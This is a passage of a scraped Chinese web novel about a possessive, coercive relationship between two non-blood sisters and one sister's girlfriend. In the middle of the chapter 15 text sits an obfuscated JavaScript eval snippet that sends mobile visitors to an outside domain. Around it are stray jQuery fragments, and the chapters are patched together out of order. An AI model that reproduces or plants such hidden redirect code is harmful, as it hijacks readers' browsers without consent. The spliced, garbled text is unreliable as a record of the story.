苏青荷抿住唇,踌躇了许久,最后也不知是心软,还是怕她无人照顾,独自一个人在医院,开口答应道:“好。” 为怕赶不上飞机,十一点的飞机,起码八点多就需要出发。 苏青荷拖着箱子去医院,提前给乔楠打了电话,准备待会直接和乔楠在医院门口碰头,然后一起去机场。 七点半到医院,苏青荷只在楼下买了两份粥上去,这几天苏青沅肠胃不好,医生说她有些炎症,只让喝粥。 到了医院,苏青荷推开病房门,发现人不在床上,刚愣了半秒,就看见她从洗手间里出来。 苏青沅已经可以独自下床了,只要不剧烈运动,自理已经没有关系了。 估计等她旅游回来,她就已经出院了。 苏青沅刚洗了脸,额角发丝潮湿地贴在脸颊上,她低眸看见她的箱子,淡声道:“都收拾好了。” 苏青荷嗯了一声,将手里的粥放在床边。 “几点过去?” “待会就走。” 苏青沅沉默片刻,对她说:“昨天周医生开了新药,我不记得要不要空腹吃了,你去问一下他吧。” 苏青荷微怔,哦了一声,翻床头的抽屉,问她是哪一种。 苏青沅拿出一盒给她,苏青荷翻了翻,找了半天,是没有找到关于饭前饭后服用的指示。 “等我一下,我去问问。” 苏青沅见她离开,身上背的包放在了床上,她踌躇了片刻,伸手拿出里面的手机。 刚拿出来,找到通话记录,上面第一条就是二十分钟前拨出的。 她看着那两个字,正要点的时候,屏幕上忽然跳出来通话。 苏青沅停了几秒后,按下接听键。 “喂荷荷,我马上就到医院楼下了,要我上去接你吗?” 苏青沅听着电话里的声音,淡声道:“我是苏青沅。” 乔楠愣了下,片刻后问候了她一声,又问:“荷荷在么?” “她一会回来。你到住院部直接上来吧,东边十六楼,房间1602。” 乔楠:“好。” 半晌后,苏青荷拿着药盒,从外面进来,说:“周医生还没有上班,我问了护士,护士说饭后半小时吃就可以了。” 苏青沅淡声说好,看见她拉床旁边的长桌板,她道:“不用架了,我不想吃。” 苏青荷停住动作,看她说:“还是吃一点吧,不吃的话,不好吃药。” “如果我病死了,你会为我哭吗?”苏青沅盯着她,问道。 苏青荷顿住,垂下长睫不看她,拿起床上的包要走,“你要发疯,我就走了。” 她从来不知道,一向冷静理智的人,会说这种不着边际无理取闹的话。 苏青沅抓住她的手,问:“你去几天?” “没有定。” “那什么时候回来?” “不知道。” 苏青沅看着她背过去的身影,将人拉到身旁,看见她坐在床边,依旧背过脸不肯看她,苏青沅睨着她漂亮的侧颜,轻轻问:“你们要住在一起吗?” 苏青荷心里带着气,她挣扎着要抽回自己的手,苏青沅紧紧拉住她,将人拽至身旁,一手紧紧扣住她的腰,一手捧她的脸,贴近了禁锢住她,咬牙恨说:“你不许和她在一起,听到没有!” 苏青荷被迫望着她这张脸,眼里满是愤怒和控制,她忽然想狠狠伤害她,故意刺她:“为什么不可以,我想和谁在一起,就和谁在一起,我就要决定和她在一起!” 苏青沅紧紧箍住她,眸光忽然瞥见门外的身影,几乎同时,她按住苏青荷的后脑压过来,低头吻上她的唇。 15. 第 15 章 chapter15 苏青荷大惊,撑在她胸前的手急忙要挣脱,苏青沅瞥见门缝外的人,紧紧又扣住身前人的脑袋,按下来。 门外的人拎着行李箱,几乎来不及思索,慌得掉头就走。 走廊上来来往往的路人,声音嘈杂,她却一下子什么也听不见,走到电梯口,她颤抖着按下电梯按钮,电梯门开了,她跟随人群急忙挤进去。 病房里,苏青荷攥拳用力推开了苏青沅,胸肺受了锤击,苏青沅不由喘息着咳嗽了两声。 苏青荷喘着粗气站在床边,恶狠狠地对她说:“苏青沅,你去死吧!” 她拉起床边的行李箱,没有丝毫犹豫,转身就冲出了病房。 苏青沅靠在床边,看着大开的房门,努力平复下自己的呼吸。 她轻轻垂下双眸,想起刚刚门外的身影,陷入沉思。 苏青荷拖着行李箱,从电梯下去,抬头就看见大门口熟悉的背影,她忙走过去喊道:“乔楠!” 乔楠听见身后熟悉的声音,愣了一下,没有回头,直到身后的人走到面前,她才抬头看向她。 苏青荷看见乔楠盯着自己的神情有些恍惚,她轻声问:“怎么了?” 乔楠看着她说不出话来,相视足有四五秒钟,最后闪躲开视线才说:“没什么,只是在想是不是有东西忘记带了。” 苏青荷察觉出异样,轻声问她:“你刚刚上楼找我了吗?” 乔楠怔了下,摇头说:“没有,还没有来得及上去。” 苏青荷提起的一颗心放下来,她哦了一声,乔楠忽然过来牵她的手,她轻抬头看她,乔楠淡声说:“走吧,我们打车去机场。” 苏青荷:“好。” 到了机场,值机托运行李,过了安检,到候机大厅,等待登机。 她们并肩坐在大厅里,因为是暑期,来来往往都是人,苏青荷靠在乔楠肩头,二人十指相缠,一路上她们都没有说什么话。 乔楠忽然喊她:“荷荷。” 苏青荷闭着眼睛,有些困倦,轻轻应了她一声。 “你姐姐对你好吗?” 苏青荷一愣,双眼慢慢睁开,长睫微垂,道:“怎么问起这个?” 乔楠又捏了一下她的手,说:“我没有兄弟姐妹,家里只有我一个人,所以我想知道,有姐姐妹妹的家庭,是什么样子的?” 苏青荷不知道乔楠怎么突然说起苏青沅,她也一时不知道,该怎么回她的话。 如果是从前,她一定会告诉她,她的姐姐是这个世界上最好的姐姐,对她好,永远宠着她,不管她想要什么,她都毫不犹豫地替她达成,她是她在这个世界上,最重要的亲人。 可是,此时此刻,她忽然一个字也说不出来。 乔楠道:“你们不是亲姐妹,对么?” 苏青荷倏地顿住,手心里一阵汗意,乔楠感受到她身体在这一刻突然颤了一下。 苏青荷抬起头来看她,目光里有害怕和不堪,她不知道怎么了,或许是她做贼心虚,从在医院楼下撞见乔楠的那一刻起,她就有一种莫名的错觉,或许乔楠上了楼,撞见了什么。 “乔楠……”她轻轻呢喃,欲言又止。 乔楠望着她略有些不自然的神情,先开口说:“你们不是一个母亲所生,所以和真正的亲姐妹之间,还是会不一样,你姐姐,她会不会欺负你?” 苏青荷心里只剩下慌张和忐忑,她忽然不明白乔楠今天的种种举动,究竟是她自己做贼心虚而此地无银,还是乔楠真的察觉到了什么。 苏青荷努力克制住自己的忐忑和紧张,只平和地说:“没有,我姐姐,对我很好,从小到大,她都对我很好。我们一起长大,我很后来才见到我的妈妈,我姐姐她……她很好……” 她思绪混乱,话也说得颠三倒四,到最后,话忽然说不下去。 乔楠只看着她,不愿意放过她脸上一丝一毫的神情。可是苏青荷伪装得不够好,这半年来,她一直都有事情瞒着自己,几次三番,也是这样欲言又止,她有说不出口的理由。 乔楠脑子里所有的碎片忽然像线一样串联了起来。 那个叫符乐章的人,告诉她,她的身上有吻痕…… 她也记得她们去看电影的那天,苏青沅探究的眼神,话里话外,莫名而来的冷意,当着她的面,她亲昵地对待荷荷,她们姐妹之间的对视,那样的眼神,她说不出有哪里不对,可是现在,所有的一切都像指引。 指引着这半年来,苏青荷所有的反常,都是因为此。 乔楠不知道该怎么形容她那一刻的心情,她像是掉进空荡的深渊里,周遭的一切都是陌生可惧的。 就连那个电话,也是苏青沅故意的,她故意要她去病房,故意做给她看…… 那像蛇一样的眼神,几乎要将她在那一刻绞杀。 她忽然觉得冷。 是空调的冷气太足。 乔楠将脸贴过去,不敢看她的眼睛,只依偎着与她相贴。 “荷荷,我真的好爱你,真的真的,不骗你。” 苏青荷眼眶倏地红了,她沉默片刻,努力让自己声音平静下来,她笑着说:“为什么突然说这个?” 乔楠牵住她的手,两手一起抓住她,扣住她的胳膊抱在怀里,“你那么漂亮,一双眼睛又大又亮,我第一次见你的时候,就喜欢上你了。你笑着转过头来和我对视,隔着距离,就那么一刻,我就对你动心。你那样优秀,不管什么时候,都是人群里的焦点,所有人爱你,喜欢你,你真诚地对所有人好,毫不保留。我甚至庆幸,在新学期的开始,你还没有喜欢上别的人,我们就比所有人更亲密熟悉,我像偷到了宝那样,认定你是我的,不再会被任何人窃取,荷荷,我从来没有这样喜欢过一个人,喜欢到害怕失去,害怕有一天你会不爱我,抛弃我。” 苏青荷眼泪掉下来,模糊了她的视线。 她垂下眼睫,声音有些颤:“我,可能没有你想的那样好。” “不,不是。”乔楠轻轻说,“是我不够好。” 苏青荷心口像被尖刀划开,她从来没有见过这样卑微的乔楠,她把自己剖开来完完整整地摊在她的面前,把所有最脆弱地都摆给她看,乞求自己不要抛弃她。 苏青荷闭上眼睛,紧紧抿住颤抖的唇瓣,转头用眼睛贴上乔楠的脸颊,湿润蹭在她的脸上,唇瓣碰上她的,苏青荷亲吻了她,“我爱你,乔楠。” “女士们先生们,请注意,乘坐AU5723前往卉南的航班即将开始登机,请准备好您的登机牌……” 蔚蓝的天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423086|184812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空划出一道漂亮的飞机线,三个多小时后,她们将抵达卉南。 没有目的,没有攻略,没有归期,她们牵手游荡在这个漂亮而陌生的城市。 看美丽的风景,看繁华的车水马龙,看夜晚灯火霓虹阑珊……苏青荷知道,或许只剩下这短短的七八月份,她无法与乔楠在一起,她们的快乐与美好,也只会留存在这个美丽而苍凉的城市。 深夜回酒店,靠景区不远的商圈中心,她们都喝了一点的酒。 卉南的盛夏没有S市炎热,晚上起风更觉凉爽,她们手牵手穿过公园,在草丛边,四周没什么人,苏青荷拉住乔楠,双手勾住她的脖颈,垫脚托起唇吻她。 乔楠抱住她的腰,彼此相拥,回应这个热切的吻。 回到酒店,因为行程匆忙,又是暑期,稍微热门方便一些的酒店,房间都已经订的差不多了,苏青荷只定到了一间双人床房。 凌晨,彼此洗了澡,房间里空旷安静,只有头顶上空调呜呜呜的声音。 窗外有一点的光亮,苏青荷侧身躺在床边,双手叠着垫在脸庞下,看对面背朝着她的背影。 “乔楠。”苏青荷轻轻喊她,“乔楠,你睡着了吗?” 乔楠垂眸侧躺在那里,听见身后的声音,她闭上了眼睛。 过了许久,身后围上来一具柔软的身体。乔楠感受到腰上她的手臂圈过来,她努力平息着自己的呼吸,不让人看出来。 苏青荷穿着睡衣,光脚走到乔楠的床边,从她身后抱住她。 “乔楠,我知道你没有睡,你为什么不看我?” 片刻,乔楠慢慢睁开双眼,她抿住唇,轻轻说:“没有,我怕你太累。坐了好久的飞机,又逛了好多地方。” “我睡不着,一点困意也没有。” 乔楠:“你闭上眼睛,把脑子慢慢放空,什么都不要想,一会儿就能睡着了。” 苏青荷沉默着没有再说话,她贴在乔楠的背后,闻见她身上好闻的气味,是很熟悉的一款洗衣液的味道,她有些想不起来了。 “抱抱我吧,乔楠。”她开口道。 乔楠转过身来,手臂从她胳膊底下穿过去,搂住她的身体,彼此二人相对着,昏暗的房间里,也依旧可以看清对方的面庞和眼睛。 乔楠看着眼前的人,主动靠过去吻她的唇。 苏青荷闭上眼睛,任由着她的亲吻。 后背的睡衣堆上来,苏青荷感受到一阵凉意,指尖在脊骨上划出一串涟漪,苏青荷本能地缩瑟了一下,连吻都带着颤抖。 乔楠感受到她的颤抖,她停住了手,只贴在她腰间,睁开眼睛看着眼前的人,轻轻道:“我抱着你睡,好不好?” 苏青荷看着她,久久没有说话,她忽然说:“我不怕的。” 乔楠明白过来她的意思,微微怔住,如果此刻房间光亮,那就一定能照出她飞红的脸颊。乔楠心跳砰砰地,她又扣住她的腰,将她往自己怀里搂了一搂,手掌抚上她的脑袋,按进自己的胸口,温柔道:“睡吧。” 苏青荷闭上贴在她的胸口上,她轻轻启唇,问她:“你怕吗,乔楠。” 良久,乔楠承认地嗯了一声,说:“有一点。” 苏青荷轻勾起唇瓣,彼此都没有再提起这件事,就这样相拥着,一夜好眠。 20-30 第21章 “女朋友?!”李萦纤惊讶住,看向苏青荷问道:“青荷,你真的有女朋友了啊?” 苏青荷早已吓得一颗心提起来,她忐忑地看向李萦纤,急忙否认说:“不是,这是我姐,叫苏青沅,她是和你开玩笑的。” 李萦纤又是一阵错愕,她看了看苏青荷,又看向另一旁的女人,见她笑着说:“是,我是她姐姐。” 苏青荷听见她的话,紧张的心才一点点落回原处。 李萦纤哦了一声,只觉得眼前的女人有些奇怪。 苏青荷对她说:“对了,你不是要赶时间么,你去吧。” 李萦纤恍惚着看了一眼苏青沅,又对苏青荷点了点头,“哦,那我先走了。” 人离开后,苏青沅才重新看向眼前的人,见她手上提着重重的包,她伸手要去接,苏青荷避开她,转身要离开,淡声说:“我要回宿舍。” “我等你。”苏青沅目光落在她身影上,慢条斯理开口。 苏青荷停住脚,回头道:“你来学校干什么,还有,你为什么要对我的同学说那些话。” 苏青沅:“想你了,就来看看你。你不是排斥我们的关系么,不如就换一种好了,反正,这里没有人会知道。” 苏青荷掉头就要走,苏青沅急忙喊住她:“荷荷,今天是我的生日,你忘记了么。一年前的今天,你说你要陪我过的,难道你不记得了么?” 苏青荷停住脚,记忆像是一瞬间回到了一年前,一年前的今天,她们在A市第一医院,父亲第一次下达病危通知书,是苏青沅签的字。 她看见姐姐的眼泪,那天正好是她的生日,因为父亲病重,所以她没有过那一次的生日。那天夜里,她们在医院的病床上相拥,她也哭着安慰她,说父亲会好起来,等到明年的生日,她们一家人要在一起过。 后来,不过两天,父亲就去世了。 她们一家人,也就没有再过那个约定的生日了。 而两天后,是父亲的一周年忌日。 想起父亲,苏青荷眼泪迷蒙上来。父亲一直都疼爱她,在她记忆里,父亲疼爱她,甚至还要超过姐姐。 苏青沅看见她停在那里,再次开口说:“我在楼下等你。” 苏青荷上了楼,放下书包,呆呆地坐在椅子上,沉寂许久。 牧绮和黎秋安从外面回来,看见苏青荷发愣,忙问:“诶,青荷,楼下有人找你,还问你住几楼,我们没告诉她,怕是陌生人,就和你说一声。” 苏青荷忙回过神来,她站起身,道:“哦我知道,我现在就要下去。” 黎秋安叫住她,笑着说:“她好像不是我们系的,应该是学姐吧,好漂亮。青荷,她是不是要追你啊?” 苏青荷微怔,她苦笑了一下,道:“不是,我先走了。” 说着她拿着包,就下楼了。 刚走到楼下,她就看见门口花坛旁背朝着她的人,正要走过去,忽然有人朝她喊:“苏青荷——” 声音一出,苏青沅几乎同时转身过来。 苏青荷这才看见一旁有个女生,朝她走过来,向她打招呼,“你好,还记得我么?” 苏青荷愣怔住,余光瞥见身后的苏青沅正朝着这边看。 她不认识眼前的女生,也才反应过来,刚刚黎秋安说楼下找她的人,不是苏青沅,而是这个女生。 “你是……”话出口,苏青荷才发觉自己声音有些发颤。 眼前的女生,长得漂亮,身上有一种成熟的气质,看着就比她大了好几岁,应该不是大一的新生。 女生主动开口介绍道:“你好,我叫沈思雪,是土木工程大三的学姐,想问你,有空一起参加我们的社团活动吗?我见过你的,早上在一食堂,你不小心撞到了我……” 苏青荷忙想起来,她今天早上去一食堂给李萦纤买她爱吃的酱香饼,因为赶早课着急,当时人又多,她被人推倒,不小心后仰踩到一个人。但当时着急签到,就没有看清人,道完歉就走了。 以至于,她此刻也没有把眼前的人,和早上的那个人对上脸。 她忐忑地开口道歉:“对不起,早上太匆忙,真是不好意思。” 沈思雪笑着说没关系,又问了她要不要来参加社团的事情。 她们专业不同,文理科都不同,苏青荷不是很想去,她讪讪拒绝说:“真是抱歉,我可能比较忙,已经参加了好几个社团,恐怕没有时间了。” 沈思雪貌似也并非真的要她参加社团,急忙说没关系,又拿出手机对她说:“我们加个微信吧,有时间一起吃饭。” 苏青荷也这才反应过来,眼前这个叫沈思雪的学姐目的不在此。 开学一个多月,苏青荷已经遇上好几个这样的人了,除了第一个她加上微信外才知道别人的意图,后面的她都没有再加过。 可是此刻苏青沅站在不远处看向她,她忽然紧张,只想快点打发掉眼前的陌生学姐,就掏出了手机。 对方刚要扫码的时候,苏青荷的手机忽然被人抽走。 “抱歉,她已经有女朋友了,不能和你一起吃饭。” 说完,苏青沅一把拉走了她,只留下那个学姐怔愣站在原地。 出了校门,苏青沅的车停在稍微远一点的路边,苏青荷被她拉着,几乎是快步跟了过去,到车旁路边,苏青沅才把手机给她,有些不悦地问:“你不懂拒绝吗?” 苏青荷自知理亏,她也没有想加,只不过那一刻被她扰乱了心绪,自己都不知道自己在做什么。 她低头接过手机,沉默没有说话。 苏青沅站在她面前,看着她微弯的雪白脖颈,声音淡淡道:“一个月不见,看起来你的大学生活,还算是多姿多彩。” “交新女朋友了么?”苏青沅伸手摸她的脸颊,指尖勾住她的下颌让她抬起头来面对自己,故意试探问,“不知道乔楠知道你这么快变心,会作何感想?” 苏青荷盯着她,目光冷得像冰,她狠狠甩开她放在脸上的手,掉头就要走。 苏青沅急忙抓住她,将人拽回来,抵按在车门上,不悦地问:“你还是没有将她忘记是不是?我不过就说了一句话,你就受不了,荷荷,你不觉得你对我很残忍么?” 苏青荷气得发笑,“究竟是我残忍,还是你残忍?!姐,你不觉得你现在刻薄得不像你么?” 苏青沅紧紧盯住她,有一种被人撕破脸皮般的恼羞成怒,她冷笑:“我刻薄……你为了她,不惜就这样说我么,如果我成全了你,让你们一起去了S市,你是不是又觉得我仁慈到伟大了?” “我不想和你吵架。”苏青荷伸手要推她,“我没有办法和你去过生日,我不想见到你。” 苏青沅也自知话说得过分,她今天来,不过是因为实在想她,上一回马来回来,自己被她无情伤透,她知道不该这样卑微地来找她,明明是她伤害她,除非她主动来找她,否则,她不该出现在这里。 可是,终究还是她自己先妥协了。 忍不住找了生日的借口,祈求她一点点的心软。事实上,荷荷一直是心软的,否则,她们不会到今天的地步,她会真的和乔楠一走了之。 苏青沅无法接受她爱上别人,更无法接受,她要离她而去。 苏青沅低下头,要去吻她,声音软下来道歉:“对不起,荷荷……我知道我不该那样说,今天我真的不想一个人……” 吻落下来,苏青荷吓了一跳,这里是学校附近,来来往往都是人,她急忙偏头躲开,恨道:“你放手——” “我不放。”苏青沅凑头靠近她,微俯下身贴在她脖颈处,气息细细喷.涌,“我真的想你,一个多月了,难道你不想我么,在马来,那晚我们……” “你不要说了!”她提起马来,忽然让苏青荷吓了一跳。她不知道自己怎么了,马来的那个她,几乎不是她。 苏青沅看见她脸颊微红,知道她们想的是一件事。马来那一晚,她们彼此都像是失了控,或许有逼迫在,可是那一晚的荷荷,是不一样的,她有感觉,她相信,她自己也是有感觉的。身体的变化,永远骗不了人。 苏青沅一直不肯相信,荷荷的心里没有她,那份情感被亲情蒙蔽遮掩住,又有一个乔楠在,所以她本能地否认,不愿意承认,也不愿意接受。 可是没有关系,苏青沅认*定自己有能力,让荷荷爱上她,接受她。 “上车。”苏青沅轻轻说,“我有一样东西给你。” 苏青荷屏住呼吸,感受到腰上的手指在放肆,她无法在大庭广众之下靠近她。 吻忽然又落下来,就在她的唇角,苏青荷慌乱地推开她,转身就去拉车门。 一拉开副驾驶车门,看见座位上的东西,她愣了一下,站在那里没有动。 苏青沅站在她身后,看见她错愕的表情,不由地勾唇笑:“喜欢吗,知道你忘记了我的生日,一定没有给我准备礼物,所以我自作主张,替你给我自己准备了一份。” 座椅上有一只太空舱猫包,里面有一只蓝猫,此刻正萌萌地睁着两只大眼睛看向她,朝她奶声奶气地喵了一声。 这是一只小猫,大概只有两三个月大。 苏青荷一瞬间心都化了,仿佛刚刚所有不堪的情绪也在这一刻化解。 “你怎么会买一只猫?” 苏青荷记得,她最讨厌的就是宠物,小时候郁微家里也有一只猫,她就特别羡慕,一直想拥有一只自己的猫,可是姐姐不同意,父亲也和姐姐一个鼻孔,说她在念书,家里平常又没有人,哪里有时间照管猫咪,又说猫咪会抓人,怕她受伤,就怎么也不肯养。 她为此伤心了好久,后来姐姐答应她,说等她上大学了,就给她养一只。她那时候隐约知道姐姐是为了哄她,故意骗她的,还冠冕堂皇地问她喜欢什么样的,她只记得郁微家的是蓝猫,就说她也喜欢蓝猫。 可现在,就有一只蓝猫出现在了她面前。 第22章 “给它起一个名字吧。”苏青沅站在她身旁,身体与车子将她圈住了,她看见荷荷错愕的神情,就知道她喜欢,“以后你就是它的主人了。” 苏青荷眼睛一直落在太空舱包里,没有移开过,她恍惚着问:“可是,可是你不是不喜欢养猫的么?” 苏青沅轻笑,道:“讨好你么。” 苏青荷愣了一下,没有说话。 “养在家里吗?”苏青荷问。 苏青沅走到另一边上车,一边道:“不然呢。” 苏青荷上了车,她把猫包放在自己腿上,看着里面有些局促不安乱扒拉的小猫,心底不由地变得柔软,她说:“可是,我不在家,谁来照顾她?” 苏青荷知道她平常上班,还常常要加班很晚才回来,如果她们不在家,张嫂也是好几天才过来一趟。 苏青沅启动车子,将车开出去,看着前面路口的红灯变绿,她开口道:“要么,你可以搬回来住。” 苏青荷微微怔了下,没有说话。 “A大离家不远,你每天的课也不算多,完全可以不用住在宿舍里,况且A大的宿舍条件也不好,洗澡淋浴都不是单间吧。”苏青沅一边开车,一边开口说道。 苏青沅也是A大金融系的高材生,今年刚毕业,虽然不是一个学院,但是学校宿舍都是大差不差的,她也是大一住了一学期宿舍,后来就没有住,天天都是回家住。 苏青沅有私心,故意买了一只猫,想借机留住苏青荷住在家里。 她想她,想每天都能见到她,何况,她现在不愿意苏青荷和别人生活在一起,即便是同学也不能够,她生出一种占有欲,即便在别人面前脱换衣服,她好像都不愿意。 她想她的荷荷,完完全全属于她。 苏青荷低着头没有说话,手掌忽然被一道柔软的爪子挠了一下,她怔了下,低头看见那个小家伙,似乎在靠近她。 “我们现在去哪儿?”苏青荷问她。 “你有什么地方想去的吗?” “没有。” “那就回家吧。”苏青沅道,“买了一堆猫咪的用品,还有猫爬架之类的,回家布置一下。它已经待在了里面好几个小时了,需要猫砂盆。”说完转头看了一眼苏青荷腿上的小家伙。 苏青荷没有拒绝,她现在只想打开猫包,抱抱眼前这只小猫咪。 到了家,苏青荷背着猫包,又拿了她的猫砂盆,还有猫粮小零食之类的。 苏青沅拿了一个大家伙,是一个很大的猫爬架,需要组装。 给猫猫专门单独准备了一间房间,就在主卧旁边,正好两间卧室的阳台是共通的,一到屋里,苏青荷就把猫咪放了出来,这只小猫咪不怕生,一出来就跟在苏青荷的脚边乱跑乱跳,苏青荷搬着猫砂盆到阳台,准备给她先搭厕所,结果每走一步,那只小猫就跳着上来抱她的脚,走一步,它跳一下,苏青荷实在爱它,她端着猫砂盆,低头笑着喊:“姐你看,它抱我的脚。” 苏青沅看过去,只看见她脸上洋溢着的笑容。 她不知道有多久没有看见这样的笑容了,潜意识里,她的荷荷还是会这样亲昵地喊她,然后和她分享这些美好。 她有时候笃定,荷荷爱她,且不会比自己的少,只是她不愿意承认而已。 她们几乎花费了整整一个下午,为这只新加入的小猫咪布置了新的窝,苏青沅不知道怎么养猫,可苏青荷像是做过攻略,因为从前郁微家里有一只猫,关于猫咪的生活习惯还有一些细节知识,她都是从郁微那里得知的。 她们一起布置了一个仙人掌样式的绿色猫爬架,高高地树立在墙边。 苏青沅站在那里,看见蹲在阳台边上的身影,淡声道:“给它起一个名字吧。” 苏青荷微怔,她其实还没有想好,究竟要不要养它。 小家伙在猫砂盆里给自己埋尿,小爪子扒拉着盆边,一下一下,她伸手过去,想碰它的小耳朵,它一下跳开了,伸起前爪要挠她。 “叫它跳跳吧。”苏青荷用手和它玩耍,阳台外的天空已经黑透了,她站起身道,“今晚它就交给你了,你照顾好它,千万不要开窗户。我回学校了。” 苏青沅见她要走,知道今天是周五,其实没有晚自习,她开口挽留说:“先吃饭吧,我煮海鲜面给你吃,长寿面。”说完又多加了最后一句。 苏青荷听见她的话,知道今天是她的生日,以前父亲在的时候,她们一家人都是在家里过的,姐姐煮面的手艺很好,家里不论是谁过生日,长寿面都是她亲手做的。 她最拿手的也是海鲜面,比外面卖的还要好吃。 苏青荷没有办法拒绝,只说:“好。” 到了楼下,苏青沅在厨房里忙活,苏青荷带着小跳跳在客厅里用逗猫棒逗它玩耍,寂静的别墅里,因为有了一只小猫咪,忽然也变得热闹起来。 空气里逐渐飘来鲜味香气,苏青沅脱下围裙,喊她:“好了,先过来洗手。” 苏青荷走过去,在水槽边洗手。 洗好刚转过身来,忽然撞见苏青沅就站在她身后,她愣了一下,手腕被她抓着,拿了擦手纸擦手。 苏青荷下意识缩手,“我自己来。” 苏青沅没有听她,抓住她的手替她擦干水渍,依旧没有松开,苏青荷挣脱了两下,她才放开手。 吃完晚餐,苏青荷对她说:“你送我回学校吧。” 苏青沅不想她离开,“留下陪我不好么?” “不好,我今晚只想回宿舍住。”苏青荷不肯看她,拿起沙发上的包抬脚就走,“你不送我,我自己打车。” 说着,就往外走。 苏青沅急忙追出去,走到门口将人拉了回来,将刚开的门又再次关上,搂住她的腰紧紧抵在门口,苏青沅贴近她,道:“我不许你走。” 苏青荷吓了一跳,忐忑地仰头看她,“你放手。” “你知道我不会放。”苏青沅低头亲吻她的唇,没有深入,只一下一下轻啄。 苏青荷不住地转头躲开,她厌恶这样的碰触,伸手推开她,努力喘着气喝止:“够了!姐,我决定了,我不要再维持和你这样恶心的关系,到此为止吧,你醒一醒可以么,再这样下去,我会发疯的,我一定会发疯的!” 像是兜兜转转回到了原点,苏青沅听着她再次挑开的这些话,没有留情,没有一丝不舍和心软,她依旧把她们的关系定为恶心,她以为半年了,她们这么多天的相处,总可以换来她一点点的改变。 尽管没有全然接受,可至少不应该是这样的无情。 “为什么,荷荷,你为什么要这样残忍对我,多少次了,上一次,也是在这间屋子里,你告诉我,你爱别人,你知道我当时的心究竟有多痛么,我用了整整一个月的时间试图欺骗自己,是啊,我一直都在自欺欺人,我以为你对我会有一点点的不忍,会有除了家人外的一点点牵绊在,可是没有,我想你能先回头来找我,甚至只是一个递台阶的关心,一个信息或者一个电话,可是没有,一句话一个字也没有,你一直比我要无情,是我妥协,每一次都是我妥协,可我的妥协没有换来你一丝丝的改变!”苏青沅双眸发红,隐忍的泪水从眼眶里滴落,她看着面前的人,只觉伤心失望到极点。 苏青荷站在她面前,此刻心口像被撕裂成碎片,她颤抖着哭,身子贴着门一点点滑下去,她捧住脸,无声地啜泣。 苏青沅隔着泪雾看着她,第一次觉得无力,她冷冷开口道:“我有很多的事情没有告诉你,之前你高考,我怕你受影响,所以都瞒着你。我现在不妨都告诉你,李曾素没有多少日子可活了,顶多撑不过半年,你要住在宿舍里,一月半月地想起来去看她一次,我不知道你还能见她几回面。” 苏青荷倏地惊愕住,她放下双手,仰起头看她,声音颤抖地问:“你……你说什么?” 苏青沅止住眼泪,她深吸了口气,如实告诉她:“去年她肺部里长了一颗肿瘤,不是太好,恶性的,手术也做了两场,都不是很成功,张医生说,她估计拖不到明年春天。” 苏青荷跌坐在地上,浑身都在颤抖,眼泪无声掉下来,“为什么,你为什么不告诉我?” 苏青沅居高临下冷冷地看着她,无情地讽笑:“我愿意对李曾素好,不过是因为你,我和她又有什么关系呢,如果没有她,或许我的母亲当年不会发生意外,她的死活和我没有一丁点的关系。荷荷,你总是理所应当享受我所有的好,我告诉过你,你不在乎我,难道就不在乎她么?” 苏青荷隔着泪雾看她,只觉陌生与恐惧,天与地都在摇晃,她第一次这样无情地将一切撕开来,没有了那一层血缘的牵绊,她们不过就是陌生人。 她无法奢求她会无条件地对她好、纵容她,叫她姐姐,难道就真的是姐姐么…… 她摇晃着站起身,与她面对面地站着,她转身开门,门把手旋开。 身后的人传来无情的声音:“你如果今天离开这道门,我会停掉李曾素所有一切的照料和费用。” 苏青荷背对她停在那里,唇齿咬进血肉里,头也没有回,“我陪她一起死。” 天空轰隆一声,细雨雾一样落下,像细密的沙子,飘在脸上,只剩下瑟瑟的疼。 苏青沅站在那里,紧紧抿住唇,看着她没有一刻的停留,只身迈进漆黑的雨夜里,决然离开。 第23章 深夜,苏青沅接到一通电话,是康苑的张医生。告诉她,苏青荷凌晨跑去了医院,浑身湿透地守在李曾素的病床旁。 李曾素自上周后就不能下床了,这一周开始要接受化疗,几乎一天里没有几小时是清醒的。 她本来就认不得人,话也说不清楚,有时候连苏青荷都不认得。 苏青沅知道,李曾素没有多少日子可熬了,不过早晚而已。 事实上,如果不是父亲当年送她进疗养院,高昂的费用加上专业的精心照料,她或许早就不在人世了。 纵然不是荷荷的亲生母亲,可总归是她在这个世上最后的牵绊,苏青沅不想她陷入这样的伤痛里,所以才一直瞒着她。 苏青沅听着电话那头的话,淡声说:“知道了,她想了解什么,你都如实告诉她吧。” 挂断电话,苏青沅闭眼侧躺着,忽然听见阳台上有声音,她愣了一下,这才想起来,家里今天刚刚多了一只小跳跳。 小家伙很活泼,一点不怕人,非要进房间,不住地挠阳台的玻璃门。 苏青沅起身开灯,站在落地窗旁看外面的小猫。它还这样小,就被人抛弃了。 走到阳台外,苏青沅把它拎回了自己房间,这才发现喝水的碗被它打翻,流了一地。 没有办法,苏青沅又拖地,又给它加新的水。 小家伙渴了,小小的脑袋凑在碗边,舌头一翻一翻,飞快地喝水。 苏青沅就蹲在旁边看,她苦笑着自语:“你都不是我养的,凭什么要我照顾你?” 她用来讨好荷荷的工具猫,也不过才挽留了她半天时间。 苏青沅无情地说:“小跳跳,她不要你了,也不要我了。如果她不回来,我也不要你。” 李曾素周一安排第一次化疗,几乎一直在输液。苏青荷请了假到医院照顾母亲,只是她没有一点照顾病人的经验,平常李曾素的生活,几乎也全是由医院的人全权处理安排。 负责李曾素病情的一直是张医生,苏青荷也认得他,张医生对她说:“青荷小姐,苏小姐已经安排好了,明天会给你母亲安排转院,今天只是一些最基础的前期准备。” 苏青荷一愣,“转院,转到哪里去?” 张医生:“目前我也不是很清楚,苏小姐没有告诉我。” 苏青荷心底升起隐隐的不安,她想起上周五的晚上,临走前苏青沅对她说的话。 她真的要这样狠心对她么…… 晚上回家,苏青荷冒着大雨到家门口,屋里有光亮,她知道她在家。 迟迟没有按门铃,最后犹豫了很久,才拿出钥匙开门。 